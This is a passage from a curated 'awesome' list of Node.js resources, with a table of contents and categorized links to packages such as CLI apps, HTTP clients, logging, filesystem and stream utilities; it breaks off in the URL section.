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Follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.} </p> <br> <p> <a href="https://en.wikipedia.org/wiki/Node.js">Node.js</a> is an open-source, cross-platform, JavaScript runtime for writing servers and command-line tools. </p> <br> </div> ## Contents - [Official](#official) - [Packages](#packages) - [Mad science](#mad-science) - [Command-line apps](#command-line-apps) - [Functional programming](#functional-programming) - [HTTP](#http) - [Debugging / Profiling](#debugging--profiling) - [Logging](#logging) - [Command-line utilities](#command-line-utilities) - [Build tools](#build-tools) - [Hardware](#hardware) - [Templating](#templating) - [Web frameworks](#web-frameworks) - [Documentation](#documentation) - [Filesystem](#filesystem) - [Control flow](#control-flow) - [Streams](#streams) - [Real-time](#real-time) - [Image](#image) - [Text](#text) - [Number](#number) - [Math](#math) - [Date](#date) - [URL](#url) - [Data validation](#data-validation) - [Parsing](#parsing) - [Humanize](#humanize) - [Compression](#compression) - [Network](#network) - [Database](#database) - [Testing](#testing) - [Security](#security) - [Benchmarking](#benchmarking) - [Minifiers](#minifiers) - [Authentication](#authentication) - [Authorization](#authorization) - [Email](#email) - [Job queues](#job-queues) - [Node.js management](#nodejs-management) - [Natural language processing](#natural-language-processing) - [Process management](#process-management) - [Automation](#automation) - [AST](#ast) - [Static site generators](#static-site-generators) - [Content management systems](#content-management-systems) - [Forum](#forum) - [Blogging](#blogging) - [Weird](#weird) - [Serialization](#serialization) - [Miscellaneous](#miscellaneous) - [Resources](#resources) - [Tutorials](#tutorials) - [Discovery](#discovery) - [Articles](#articles) - [Newsletters](#newsletters) - [Videos](#videos) - [Books](#books) - [Blogs](#blogs) - [Courses](#courses) - [Cheatsheets](#cheatsheets) - [Tools](#tools) - [Community](#community) - [Miscellaneous](#miscellaneous-1) - [Related lists](#related-lists) ## Official - [Website](https://nodejs.org) - [Documentation](https://nodejs.org/dist/latest/docs/api/) - [Repository](https://github.com/nodejs/node) ## Packages ### Mad science - [webtorrent](https://github.com/feross/webtorrent) - Streaming torrent client for Node.js and the browser. - [peerflix](https://github.com/mafintosh/peerflix) - Streaming torrent client. - [dat](https://github.com/datproject/dat-node) - Real-time replication and versioning for data sets. - [ipfs](https://github.com/ipfs/js-ipfs) - Distributed file system that seeks to connect all computing devices with the same system of files. - [stackgl](https://github.com/stackgl) - Open software ecosystem for WebGL, built on top of browserify and npm. - [peerwiki](https://github.com/mafintosh/peerwiki) - All of Wikipedia on BitTorrent. - [peercast](https://github.com/mafintosh/peercast) - Stream a torrent video to Chromecast. - [BitcoinJS](https://github.com/bitcoinjs/bitcoinjs-lib) - Clean, readable, proven Bitcoin library. - [Bitcore](https://github.com/bitpay/bitcore) - Pure and powerful Bitcoin library. - [PDFKit](https://github.com/devongovett/pdfkit) - PDF generation library. - [turf](https://github.com/Turfjs/turf) - Modular geospatial processing and analysis engine. - [webcat](https://github.com/mafintosh/webcat) - p2p pipe across the web using WebRTC that uses your GitHub private/public key for authentication. - [NodeOS](https://github.com/NodeOS/NodeOS) - The first operating system powered by npm. - [YodaOS](https://github.com/yodaos-project/yodaos) - AI operating system. - [Brain.js](https://github.com/BrainJS/brain.js) - Machine-learning framework. - [Pipcook](https://github.com/alibaba/pipcook) - Front-end algorithm framework to create a machine learning pipeline. - [Cytoscape.js](https://github.com/cytoscape/cytoscape.js) - Graph theory (a.k.a. network) modeling and analysis. - [Kadence](https://gitlab.com/deadcanaries/kadence) - Kademlia distributed hash table. - [seedshot](https://github.com/twobucks/seedshot) - Temporary P2P screenshot sharing from your browser. - [js-git](https://github.com/creationix/js-git) - JavaScript implementation of Git. - [skale](https://github.com/skale-me/skale-engine) - High performance distributed data processing engine. - [xlsx](https://github.com/sheetjs/js-xlsx) - Pure JS Excel spreadsheet reader and writer. - [isomorphic-git](https://github.com/isomorphic-git/isomorphic-git) - Pure JavaScript implementation of Git. ### Command-line apps - [np](https://github.com/sindresorhus/np) - Better `npm publish`. - [npm-name](https://github.com/sindresorhus/npm-name) - Check a package name's availability on npm. - [gh-home](https://github.com/sindresorhus/gh-home) - Open the GitHub page of the repo in the current directory. - [npm-home](https://github.com/sindresorhus/npm-home) - Open the npm page of a package. - [trash](https://github.com/sindresorhus/trash) - Safer alternative to `rm`. - [speed-test](https://github.com/sindresorhus/speed-test) - Test your internet connection speed and ping. - [emoj](https://github.com/sindresorhus/emoj) - Find relevant emoji from text on the command-line. - [pageres](https://github.com/sindresorhus/pageres) - Capture website screenshots. - [cpy](https://github.com/sindresorhus/cpy) - Copy files. - [vtop](https://github.com/MrRio/vtop) - More better top, with nice charts. - [empty-trash](https://github.com/sindresorhus/empty-trash) - Empty the trash. - [is-up](https://github.com/sindresorhus/is-up) - Check whether a website is up or down. - [is-online](https://github.com/sindresorhus/is-online) - Check if the internet connection is up. - [public-ip](https://github.com/sindresorhus/public-ip) - Get your public IP address. - [clipboard-cli](https://github.com/sindresorhus/clipboard-cli) - Copy & paste on the terminal. - [XO](https://github.com/xojs/xo) - Enforce strict code style using the JavaScript happiness style. - [Standard](https://github.com/feross/standard) - JavaScript Standard Style — One style to rule them all. - [ESLint](https://github.com/eslint/eslint) - The pluggable linting utility for JavaScript. - [dev-time](https://github.com/samverschueren/dev-time-cli) - Get the current local time of a GitHub user. - [David](https://github.com/alanshaw/david) - Tells you when your package npm dependencies are out of date. - [http-server](https://github.com/indexzero/http-server) - Simple, zero-config command-line HTTP server. - [Live Server](https://github.com/tapio/live-server) - Development HTTP-server with livereload capability. - [bcat](https://github.com/kessler/node-bcat) - Pipe command output to web browsers. - [normit](https://github.com/pawurb/normit) - Google Translate with speech synthesis in your terminal. - [fkill](https://github.com/sindresorhus/fkill-cli) - Fabulously kill processes. Cross-platform. - [pjs](https://github.com/danielstjules/pjs) - Pipeable JavaScript. Quickly filter, map, and reduce from the terminal. - [license-checker](https://github.com/davglass/license-checker) - Check licenses of your app's dependencies. - [browser-run](https://github.com/juliangruber/browser-run) - Easily run code in a browser environment. - [tmpin](https://github.com/sindresorhus/tmpin) - Adds stdin support to any CLI app that accepts file input. - [wifi-password](https://github.com/kevva/wifi-password-cli) - Get the current wifi password. - [wallpaper](https://github.com/sindresorhus/wallpaper) - Change the desktop wallpaper. - [brightness](https://github.com/kevva/brightness-cli) - Change the screen brightness. - [torrent](https://github.com/maxogden/torrent) - Download torrents. - [kill-tabs](https://github.com/sindresorhus/kill-tabs) - Kill all Chrome tabs to improve performance, decrease battery usage, and save memory. - [alex](https://github.com/wooorm/alex) - Catch insensitive, inconsiderate writing. - [pen](https://github.com/noraesae/pen) - Live Markdown preview in the browser from your favorite editor. - [subdownloader](https://github.com/beatfreaker/subdownloader) - Subtitle downloader for movies and TV series. - [dark-mode](https://github.com/sindresorhus/dark-mode) - Toggle the macOS Dark Mode. - [iponmap](https://github.com/nogizhopaboroda/iponmap) - IP location finder. - [Jsome](https://github.com/Javascipt/Jsome) - Pretty prints JSON with configurable colors and indentation. - [itunes-remote](https://github.com/mischah/itunes-remote) - Interactively control iTunes. - [mobicon](https://github.com/samverschueren/mobicon-cli) - Mobile app icon generator. - [mobisplash](https://github.com/samverschueren/mobisplash-cli) - Mobile app splash screen generator. - [diff2html-cli](https://github.com/rtfpessoa/diff2html-cli) - Pretty git diff to HTML generator. - [Cash](https://github.com/dthree/cash) - Cross-platform Unix shell commands in pure JavaScript. - [trymodule](https://github.com/VictorBjelkholm/trymodule) - Try out npm packages in the terminal. - [jscpd](https://github.com/kucherenko/jscpd) - Copy/paste detector for source code. - [atmo](https://github.com/Raathigesh/Atmo) - Server-side API mocking. - [auto-install](https://github.com/siddharthkp/auto-install) - Auto installs dependencies as you code. - [lessmd](https://github.com/linuxenko/lessmd) - Markdown in the terminal. - [cost-of-modules](https://github.com/siddharthkp/cost-of-modules) - Find out which dependencies are slowing you down. - [localtunnel](https://github.com/localtunnel/localtunnel) - Expose your localhost to the world. - [svg-term-cli](https://github.com/marionebl/svg-term-cli) - Share terminal sessions via SVG. - [gtop](https://github.com/aksakalli/gtop) - System monitoring dashboard for the terminal. - [themer](https://github.com/mjswensen/themer) - Generate themes for your editor, terminal, wallpaper, Slack, and more. - [carbon-now-cli](https://github.com/mixn/carbon-now-cli) - Beautiful images of your code — from right inside your terminal. - [cash-cli](https://github.com/xxczaki/cash-cli) - Convert between 170 currencies. - [taskbook](https://github.com/klauscfhq/taskbook) - Tasks, boards & notes for the command-line habitat. - [discharge](https://github.com/brandonweiss/discharge) - Easily deploy static websites to Amazon S3. - [npkill](https://github.com/voidcosmos/npkill) - Easily find and remove old and heavy node_modules folders. ### Functional programming - [lodash](https://github.com/lodash/lodash) - Utility library delivering consistency, customization, performance, & extras. A better and faster Underscore.js. - [immutable](https://github.com/facebook/immutable-js) - Immutable data collections. - [Ramda](https://github.com/ramda/ramda) - Utility library with a focus on flexible functional composition enabled by automatic currying and reversed argument order. Avoids mutating data. - [Folktale](https://github.com/origamitower/folktale) - Suite of libraries for generic functional programming in JavaScript that allows you to write elegant, modular applications with fewer bugs, and more reuse. - [Mout](https://github.com/mout/mout) - Utility library with the biggest difference between other existing solutions is that you can choose to load only the modules/functions that you need, no extra overhead. - [Bacon.js](https://github.com/baconjs/bacon.js) - Functional reactive programming. - [RxJS](https://github.com/reactivex/rxjs) - Functional reactive library for transforming, composing, and querying various kinds of data. - [Lazy.js](https://github.com/dtao/lazy.js) - Utility library similar to lodash/Underscore but with lazy evaluation, which can translate to superior performance in many cases. - [Kefir.js](https://github.com/kefirjs/kefir) - Reactive library with focus on high performance and low memory usage. ### HTTP - [got](https://github.com/sindresorhus/got) - Nicer interface to the built-in `http` module. - [gh-got](https://github.com/sindresorhus/gh-got) - Convenience wrapper for `got` to interact with the GitHub API. - [axios](https://github.com/mzabriskie/axios) - Promise based HTTP client (works in the browser too). - [wreck](https://github.com/hapijs/wreck) - HTTP Client Utilities. - [download](https://github.com/kevva/download) - Download and extract files effortlessly. - [http-proxy](https://github.com/nodejitsu/node-http-proxy) - HTTP proxy. - [superagent](https://github.com/visionmedia/superagent) - HTTP request library. - [node-fetch](https://github.com/bitinn/node-fetch) - `window.fetch` for Node.js. - [flashheart](https://github.com/bbc/flashheart) - REST client. - [http-fake-backend](https://github.com/micromata/http-fake-backend) - Build a fake backend by providing the content of JSON files or JavaScript objects through configurable routes. - [cacheable-request](https://github.com/lukechilds/cacheable-request) - Wrap native HTTP requests with RFC compliant cache support. - [gotql](https://github.com/khaosdoctor/gotql) - GraphQL request library built on [got](https://github.com/sindresorhus/got). - [global-agent](https://github.com/gajus/global-agent) - Global HTTP/HTTPS proxy agent that is configurable using environment variables. - [smoke](https://github.com/sinedied/smoke) - File-based HTTP mock server with recording abilities. - [undici](https://github.com/nodejs/undici) - High performance HTTP client written from scratch with zero dependencies. ### Debugging / Profiling - [ndb](https://github.com/GoogleChromeLabs/ndb) - Improved debugging experience, enabled by Chrome DevTools. - [ironNode](https://github.com/s-a/iron-node) - Node.js debugger supporting ES2015 out of the box. - [node-inspector](https://github.com/node-inspector/node-inspector) - Debugger based on Blink Developer Tools. - [debug](https://github.com/visionmedia/debug) - Tiny debugging utility. - [why-is-node-running](https://github.com/mafintosh/why-is-node-running) - Node.js is running but you don't know why? - [njsTrace](https://github.com/valyouw/njstrace) - Instrument and trace your code, see all function calls, arguments, return values, as well as the time spent in each function. - [vstream](https://github.com/joyent/node-vstream) - Instrumentable streams mix-ins to inspect a pipeline of streams. - [stackman](https://github.com/watson/stackman) - Enhance an error stacktrace with code excerpts and other goodies. - [locus](https://github.com/alidavut/locus) - Starts a REPL at runtime that has access to all variables. - [0x](https://github.com/davidmarkclements/0x) - Flamegraph profiling. - [ctrace](https://github.com/automation-stack/ctrace) - Well-formatted and improved trace system calls and signals. - [leakage](https://github.com/andywer/leakage) - Write memory leak tests. - [llnode](https://github.com/nodejs/llnode) - Post-mortem analysis tool which allows you to inspect objects and get insights from a crashed Node.js process. - [thetool](https://github.com/sfninja/thetool) - Capture different CPU, memory, and other profiles for your app in Chrome DevTools friendly format. - [swagger-stats](https://github.com/slanatech/swagger-stats) - Trace API calls and monitor API performance, health, and usage metrics. - [NiM](https://github.com/june07/nim) - Manages DevTools debugging workflow. ### Logging - [pino](https://github.com/pinojs/pino) - Extremely fast logger inspired by Bunyan. - [winston](https://github.com/winstonjs/winston) - Multi-transport async logging library. - [console-log-level](https://github.com/watson/console-log-level) - The most simple logger imaginable with support for log levels and custom prefixes. - [storyboard](https://github.com/guigrpa/storyboard) - End-to-end, hierarchical, real-time, colorful logs and stories. - [signale](https://github.com/klauscfhq/signale) - Console logger. - [consola](https://github.com/nuxt/consola) - Console logger. ### Command-line utilities - [chalk](https://github.com/chalk/chalk) - Terminal string styling done right. - [meow](https://github.com/sindresorhus/meow) - CLI app helper. - [yargs](https://github.com/yargs/yargs) - Command-line parser that automatically generates an elegant user-interface. - [ora](https://github.com/sindresorhus/ora) - Elegant terminal spinner. - [get-stdin](https://github.com/sindresorhus/get-stdin) - Easier stdin. - [log-update](https://github.com/sindresorhus/log-update) - Log by overwriting the previous output in the terminal. Useful for rendering progress bars, animations, etc. - [Ink](https://github.com/vadimdemedes/ink) - React for interactive command-line apps. - [listr](https://github.com/samverschueren/listr) - Terminal task list. - [conf](https://github.com/sindresorhus/conf) - Simple config handling for your app or module. - [ansi-escapes](https://github.com/sindresorhus/ansi-escapes) - ANSI escape codes for manipulating the terminal. - [log-symbols](https://github.com/sindresorhus/log-symbols) - Colored symbols for various log levels. - [figures](https://github.com/sindresorhus/figures) - Unicode symbols with Windows CMD fallbacks. - [boxen](https://github.com/sindresorhus/boxen) - Create boxes in the terminal. - [terminal-link](https://github.com/sindresorhus/terminal-link) - Create clickable links in the terminal. - [terminal-image](https://github.com/sindresorhus/terminal-image) - Display images in the terminal. - [string-width](https://github.com/sindresorhus/string-width) - Get the visual width of a string - the number of columns required to display it. - [cli-truncate](https://github.com/sindresorhus/cli-truncate) - Truncate a string to a specific width in the terminal. - [first-run](https://github.com/sindresorhus/first-run) - Check if it's the first time the process is run. - [blessed](https://github.com/chjj/blessed) - Curses-like library. - [Inquirer.js](https://github.com/SBoudrias/Inquirer.js) - Interactive command-line prompt. - [yn](https://github.com/sindresorhus/yn) - Parse yes/no like values. - [cli-table3](https://github.com/cli-table/cli-table3) - Pretty unicode tables. - [drawille](https://github.com/madbence/node-drawille) - Draw on the terminal with unicode braille characters. - [update-notifier](https://github.com/yeoman/update-notifier) - Update notifications for your CLI app. - [ascii-charts](https://github.com/jstrace/chart) - ASCII bar chart in the terminal. - [progress](https://github.com/tj/node-progress) - Flexible ascii progress bar. - [insight](https://github.com/yeoman/insight) - Helps you understand how your tool is being used by anonymously reporting usage metrics to Google Analytics. - [cli-cursor](https://github.com/sindresorhus/cli-cursor) - Toggle the CLI cursor. - [columnify](https://github.com/timoxley/columnify) - Create text-based columns suitable for console output. Supports cell wrapping. - [cli-columns](https://github.com/shannonmoeller/cli-columns) - Columnated unicode and ansi-safe text lists. - [cfonts](https://github.com/dominikwilkowski/cfonts) - Sexy ASCII fonts for the console. - [multispinner](https://github.com/codekirei/node-multispinner) - Multiple, simultaneous, individually controllable CLI spinners. - [omelette](https://github.com/f/omelette) - Shell autocompletion helper. - [cross-env](https://github.com/kentcdodds/cross-env) - Set environment variables cross-platform. - [shelljs](https://github.com/shelljs/shelljs) - Portable Unix shell commands. - [sudo-block](https://github.com/sindresorhus/sudo-block) - Block users from running your app with root permissions. - [loud-rejection](https://github.com/sindresorhus/loud-rejection) - Make unhandled promise rejections fail loudly instead of the default silent fail. - [sparkly](https://github.com/sindresorhus/sparkly) - Generate sparklines `▁▂▃▅▂▇`. - [Bit](https://github.com/teambit/bit) - Create, maintain, find and use small modules and components across repositories. - [gradient-string](https://github.com/bokub/gradient-string) - Beautiful color gradients in terminal output. - [oclif](https://github.com/oclif/oclif) - CLI framework complete with parser, automatic documentation, testing, and plugins. - [term-size](https://github.com/sindresorhus/term-size) - Reliably get the terminal window size. - [Cliffy](https://github.com/drew-y/cliffy) - Framework for interactive CLIs. ### Build tools - [parcel](https://github.com/parcel-bundler/parcel) - Blazing fast, zero config web app bundler. - [webpack](https://github.com/webpack/webpack) - Packs modules and assets for the browser. - [rollup](https://github.com/rollup/rollup) - Next-generation ES2015 module bundler. - [gulp](https://github.com/gulpjs/gulp) - Streaming and fast build system that favors code over config. - [Broccoli](https://github.com/broccolijs/broccoli) - Fast, reliable asset pipeline, supporting constant-time rebuilds and compact build definitions. - [Brunch](https://github.com/brunch/brunch) - Front-end web app build tool with simple declarative config, fast incremental compilation, and an opinionated workflow. - [Start](https://github.com/deepsweet/start) - Functional task runner with shareable presets. - [ygor](https://github.com/shannonmoeller/ygor) - Promising task runner for when `npm run` isn't enough and everything else is too much. - [FuseBox](https://github.com/fuse-box/fuse-box) - Fast build system that combines the power of webpack, JSPM and SystemJS, with first-class TypeScript support. - [pkg](https://github.com/zeit/pkg) - Package your Node.js project into an executable. ### Hardware - [johnny-five](https://github.com/rwaldron/johnny-five) - Firmata based Arduino Framework. - [serialport](https://github.com/voodootikigod/node-serialport) - Access serial ports for reading and writing. - [usb](https://github.com/nonolith/node-usb) - USB library. - [i2c-bus](https://github.com/fivdi/i2c-bus) - I2C serial bus access. - [onoff](https://github.com/fivdi/onoff) - GPIO access and interrupt detection. - [spi-device](https://github.com/fivdi/spi-device) - SPI serial bus access. - [pigpio](https://github.com/fivdi/pigpio) - Fast GPIO, PWM, servo control, state change notification, and interrupt handling on the Raspberry Pi. - [gps](https://github.com/infusion/GPS.js) - NMEA parser for handling GPS receivers. ### Templating - [marko](https://github.com/marko-js/marko) - HTML-based templating engine that compiles templates to CommonJS modules and supports streaming, async rendering and custom tags. - [nunjucks](https://github.com/mozilla/nunjucks) - Templating engine with inheritance, asynchronous control, and more (jinja2 inspired). - [handlebars.js](https://github.com/wycats/handlebars.js) - Superset of Mustache templates which adds powerful features like helpers and more advanced blocks. - [EJS](https://github.com/mde/ejs) - Simple unopinionated templating language. - [Pug](https://github.com/pugjs/pug) - High-performance template engine heavily influenced by Haml. ### Web frameworks - [Hapi](https://github.com/hapijs/hapi) - Framework for building applications and services. - [Koa](https://github.com/koajs/koa) - Framework designed by the team behind Express, which aims to be a smaller, more expressive, and more robust foundation for web applications and APIs. - [Express](https://github.com/expressjs/express) - Web application framework, providing a robust set of features for building single and multi-page, and hybrid web applications. - [Feathers](https://github.com/feathersjs/feathers) - Microservice framework built in the spirit of Express. - [LoopBack](https://github.com/strongloop/loopback-next) - Powerful framework for creating REST APIs and easily connecting to backend data sources. - [Meteor](https://github.com/meteor/meteor) - An ultra-simple, database-everywhere, data-on-the-wire, pure-Javascript web framework. *(You might like [awesome-meteor](https://github.com/Urigo/awesome-meteor))* - [Restify](https://github.com/restify/node-restify) - Enables you to build correct REST web services. - [ThinkJS](https://github.com/thinkjs/thinkjs) - Framework with ES2015+ support, WebSockets, REST API. - [ActionHero](https://github.com/actionhero/actionhero) - Framework for making reusable & scalable APIs for TCP sockets, WebSockets, and HTTP clients. - [Next.js](https://github.com/zeit/next.js) - Minimalistic framework for server-rendered universal JavaScript web apps. - [Nuxt.js](https://github.com/nuxt/nuxt.js) - Minimalistic framework for server-rendered Vue.js apps. - [seneca](https://github.com/senecajs/seneca) - Toolkit for writing microservices. - [AdonisJs](http://adonisjs.com) - A true MVC framework for Node.js built on solid foundations of Dependency Injection and IoC container. - [Hemera](https://github.com/hemerajs/hemera) - Write reliable and fault-tolerant microservices with [NATS](https://nats.io). - [Micro](https://github.com/zeit/micro) - Minimalistic microservice framework with an async approach. - [Moleculer](https://moleculer.services) - Fast & powerful microservices framework. - [Fastify](https://github.com/fastify/fastify) - Fast and low overhead web framework. - [Nest](https://github.com/nestjs/nest) - Angular-inspired framework for building efficient and scalable server-side apps. - [TypeGraphQL](https://github.com/19majkel94/type-graphql) - Modern framework for creating GraphQL APIs with TypeScript, using classes and decorators. - [Tinyhttp](https://github.com/talentlessguy/tinyhttp) - Modern and fast Express-like web framework. - [Marble.js](https://github.com/marblejs/marble) - Functional reactive framework for building server-side apps, based on TypeScript and RxJS. - [Lad](https://github.com/ladjs/lad) - Framework made by a former Express TC and Koa member that bundles web, API, job, and proxy servers. ### Documentation - [documentation.js](https://github.com/documentationjs/documentation) - API documentation generator with support for ES2015+ and flow annotation. - [ESDoc](https://github.com/esdoc/esdoc) - Documentation generator targeting ES2015, attaching test code and measuring documentation coverage. - [Docco](https://github.com/jashkenas/docco) - Documentation generator which produces an HTML document that displays your comments intermingled with your code. - [JSDoc](https://github.com/jsdoc3/jsdoc) - API documentation generator similar to JavaDoc or PHPDoc. - [Docusaurus](https://github.com/facebook/docusaurus) - Documentation website generator that leverages React and Markdown, and comes with translation and versioning features. ### Filesystem - [del](https://github.com/sindresorhus/del) - Delete files/folders using globs. - [globby](https://github.com/sindresorhus/globby) - Glob files with support for multiple patterns. - [cpy](https://github.com/sindresorhus/cpy) - Copy files. - [rimraf](https://github.com/isaacs/rimraf) - Recursively delete files like `rm -rf`. - [make-dir](https://github.com/sindresorhus/make-dir) - Recursively create directories like `mkdir -p`. - [graceful-fs](https://github.com/isaacs/node-graceful-fs) - Drop-in replacement for the `fs` module with various improvements. - [chokidar](https://github.com/paulmillr/chokidar) - Filesystem watcher which stabilizes events from `fs.watch` and `fs.watchFile` as well as using native `fsevents` on macOS. - [find-up](https://github.com/sindresorhus/find-up) - Find a file by walking up parent directories. - [proper-lockfile](https://github.com/IndigoUnited/node-proper-lockfile) - Inter-process and inter-machine lockfile utility. - [load-json-file](https://github.com/sindresorhus/load-json-file) - Read and parse a JSON file. - [write-json-file](https://github.com/sindresorhus/write-json-file) - Stringify and write JSON to a file atomically. - [fs-write-stream-atomic](https://github.com/npm/fs-write-stream-atomic) - Like `fs.createWriteStream()`, but atomic. - [filenamify](https://github.com/sindresorhus/filenamify) - Convert a string to a valid filename. - [lnfs](https://github.com/kevva/lnfs) - Force create symlinks like `ln -fs`. - [istextorbinary](https://github.com/bevry/istextorbinary) - Check if a file is text or binary. - [fs-jetpack](https://github.com/szwacz/fs-jetpack) - Completely redesigned file system API for convenience in everyday use. - [fs-extra](https://github.com/jprichardson/node-fs-extra) - Extra methods for the `fs` module. - [pkg-dir](https://github.com/sindresorhus/pkg-dir) - Find the root directory of an npm package. - [filehound](https://github.com/nspragg/filehound) - Flexible and fluent interface for searching the file system. - [move-file](https://github.com/sindresorhus/move-file) - Move a file, even works across devices. - [tempy](https://github.com/sindresorhus/tempy) - Get a random temporary file or directory path. ### Control flow - Promises - [Bluebird](https://github.com/petkaantonov/bluebird) - Promise library with focus on innovative features and performance. - [pify](https://github.com/sindresorhus/pify) - Promisify a callback-style function. - [delay](https://github.com/sindresorhus/delay) - Delay a promise a specified amount of time. - [promise-memoize](https://github.com/nodeca/promise-memoize) - Memoize promise-returning functions, with expire and prefetch. - [valvelet](https://github.com/lpinca/valvelet) - Limit the execution rate of a promise-returning function. - [p-map](https://github.com/sindresorhus/p-map) - Map over promises concurrently. - [More…](https://github.com/sindresorhus/promise-fun) - Observables - [zen-observable](https://github.com/zenparsing/zen-observable) - Implementation of Observables. - [RxJS](https://github.com/ReactiveX/RxJS) - Reactive programming. - [observable-to-promise](https://github.com/sindresorhus/awesome-observables) - Convert an Observable to a Promise. - [More…](https://github.com/sindresorhus/awesome-observables) - Streams - [Highland.js](https://github.com/caolan/highland) - Manages synchronous and asynchronous code easily, using nothing more than standard JavaScript and Node-like Streams. - Callbacks - [each-async](https://github.com/sindresorhus/each-async) - Async concurrent iterator like forEach. - [async](https://github.com/caolan/async) - Provides straight-forward, powerful functions for working with asynchronicity. - Channels - [js-csp](https://github.com/ubolonton/js-csp) - Communicating sequential processes for JavaScript (like Clojurescript core.async, or Go). ### Streams - [through2](https://github.com/rvagg/through2) - Tiny wrapper around streams2 Transform to avoid explicit subclassing noise. - [from2](https://github.com/hughsk/from2) - Convenience wrapper for ReadableStream, inspired by `through2`. - [get-stream](https://github.com/sindresorhus/get-stream) - Get a stream as a string or buffer. - [into-stream](https://github.com/sindresorhus/into-stream) - Convert a buffer/string/array/object into a stream. - [duplexify](https://github.com/mafintosh/duplexify) - Turn a writeable and readable stream into a single streams2 duplex stream. - [pumpify](https://github.com/mafintosh/pumpify) - Combine an array of streams into a single duplex stream. - [peek-stream](https://github.com/mafintosh/peek-stream) - Transform stream that lets you peek the first line before deciding how to parse it. - [binary-split](https://github.com/maxogden/binary-split) - Newline (or any delimiter) splitter stream. - [byline](https://github.com/jahewson/node-byline) - Super-simple line-by-line Stream reader. - [first-chunk-stream](https://github.com/sindresorhus/first-chunk-stream) - Transform the first chunk in a stream. - [pad-stream](https://github.com/sindresorhus/pad-stream) - Pad each line in a stream. - [multistream](https://github.com/feross/multistream) - Combine multiple streams into a single stream. - [stream-combiner2](https://github.com/substack/stream-combiner2) - Turn a pipeline into a single stream. - [readable-stream](https://github.com/nodejs/readable-stream) - Mirror of Streams2 and Streams3 implementations in core. - [through2-concurrent](https://github.com/almost/through2-concurrent) - Transform object streams concurrently. ### Real-time - [µWebSockets](https://github.com/uWebSockets/uWebSockets) - Highly scalable WebSocket server & client library. - [Socket.io](https://github.com/socketio/socket.io) - Enables real-time bidirectional event-based communication. - [Faye](https://github.com/faye/faye) - Real-time client-server message bus, based on Bayeux protocol. - [SocketCluster](https://github.com/SocketCluster/socketcluster) - Scalable HTTP + WebSocket engine which can run on multiple CPU cores. - [Primus](https://github.com/primus/primus) - An abstraction layer for real-time frameworks to prevent module lock-in. - [deepstream.io](https://github.com/deepstreamIO/deepstream.io-client-js) - Scalable real-time microservice framework. - [Kalm](https://github.com/kalm/kalm.js) - Low-level socket router and middleware framework. - [MQTT.js](https://github.com/mqttjs/MQTT.js) - Client for MQTT - Pub-sub based messaging protocol for use on top of TCP/IP. - [rpc-websockets](https://github.com/elpheria/rpc-websockets) - JSON-RPC 2.0 implementation over WebSockets. - [Aedes](https://github.com/mcollina/aedes) - Barebone MQTT server that can run on any stream server. ### Image - [sharp](https://github.com/lovell/sharp) - The fastest module for resizing JPEG, PNG, WebP and TIFF images. - [image-type](https://github.com/sindresorhus/image-type) - Detect the image type of a Buffer/Uint8Array. - [gm](https://github.com/aheckmann/gm) - GraphicsMagick and ImageMagick wrapper. - [lwip](https://github.com/EyalAr/lwip) - Lightweight image processor which does not require ImageMagick. - [pica](https://github.com/nodeca/pica) - High quality & fast resize (lanczos3) in pure JS. Alternative to canvas drawImage(), when no pixelation allowed. - [jimp](https://github.com/oliver-moran/jimp) - Image processing in pure JavaScript. - [probe-image-size](https://github.com/nodeca/probe-image-size) - Get the size of most image formats without a full download. - [qrcode](https://github.com/soldair/node-qrcode) - QR code and bar code generator. - [ImageScript](https://github.com/matmen/ImageScript) - Image processing in JavaScript, utilizing WebAssembly for performance. ### Text - [iconv-lite](https://github.com/ashtuchkin/iconv-lite) - Convert character encodings. - [string-length](https://github.com/sindresorhus/string-length) - Get the real length of a string - by correctly counting astral symbols and ignoring ansi escape codes. - [camelcase](https://github.com/sindresorhus/camelcase) - Convert a dash/dot/underscore/space separated string to camelCase: foo-bar → fooBar. - [escape-string-regexp](https://github.com/sindresorhus/escape-string-regexp) - Escape RegExp special characters. - [execall](https://github.com/sindresorhus/execall) - Find multiple RegExp matches in a string. - [splice-string](https://github.com/sindresorhus/splice-string) - Remove or replace part of a string like `Array#splice`. - [indent-string](https://github.com/sindresorhus/indent-string) - Indent each line in a string. - [strip-indent](https://github.com/sindresorhus/strip-indent) - Strip leading whitespace from every line in a string. - [detect-indent](https://github.com/sindresorhus/detect-indent) - Detect the indentation of code. - [he](https://github.com/mathiasbynens/he) - HTML entity encoder/decoder. - [i18n-node](https://github.com/mashpie/i18n-node) - Simple translation module with dynamic JSON storage. - [babelfish](https://github.com/nodeca/babelfish) - i18n with very easy syntax for plurals. - [matcher](https://github.com/sindresorhus/matcher) - Simple wildcard matching. - [unhomoglyph](https://github.com/nodeca/unhomoglyph) - Normalize visually similar unicode characters. - [i18next](https://github.com/i18next/i18next) - Internationalization framework. - [nanoid](https://github.com/ai/nanoid) - Tiny, secure, URL-friendly, unique string ID generator. - [StegCloak](https://github.com/kurolabs/stegcloak) - Conceal secrets within strings, in plain sight. ### Number - [random-int](https://github.com/sindresorhus/random-int) - Generate a random integer. - [random-float](https://github.com/sindresorhus/random-float) - Generate a random float. - [unique-random](https://github.com/sindresorhus/unique-random) - Generate random numbers that are consecutively unique. - [round-to](https://github.com/sindresorhus/round-to) - Round a number to a specific number of decimal places: `1.234` → `1.2`. ### Math - [ndarray](https://github.com/scijs/ndarray) - Multidimensional arrays. - [mathjs](https://github.com/josdejong/mathjs) - An extensive math library. - [math-clamp](https://github.com/sindresorhus/math-clamp) - Clamp a number. - [algebra](https://github.com/fibo/algebra) - Algebraic structures. - [multimath](https://github.com/nodeca/multimath) - Core to create fast image math in WebAssembly and JS. ### Date - [Luxon](https://github.com/moment/luxon) - Library for working with dates and times. - [date-fns](https://github.com/date-fns/date-fns) - Modern date utility. - [Moment.js](http://momentjs.com) - Parse, validate, manipulate, and display dates. - [Day.js](https://github.com/iamkun/dayjs) - Immutable date library alternative to Moment.js. - [dateformat](https://github.com/felixge/node-dateformat) - Date formatting. - [tz-format](https://github.com/samverschueren/tz-format) - Format a date with timezone: `2015-11-30T10:40:35+01:00`. - [cctz](https://github.com/floatdrop/node-cctz) - Fast parsing, formatting, and timezone conversation for dates. ### URL - [normalize-url](https://github.com/sindresorhus/normalize-url) - Normalize a URL. - [humanize-url](https://github.com/sindresorhus/humanize-url) - Humanize a URL: http://sindresorhus.com → sindresorhus.com. - [url-unshort](https://github.com/nodeca/url-unshort) - Expand shortened URLs. - [speakingurl](https://github.com/pid/speakingurl) - Generate a slug from a string with transliteration. - 